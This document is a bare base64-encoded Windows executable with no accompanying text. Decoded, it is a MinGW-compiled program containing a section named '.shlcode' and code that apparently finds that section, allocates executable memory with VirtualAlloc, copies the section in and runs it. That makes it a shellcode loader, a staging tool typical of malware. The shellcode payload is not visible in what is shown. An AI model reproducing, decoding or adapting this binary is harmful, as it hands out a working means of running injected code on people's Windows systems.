"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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwADAA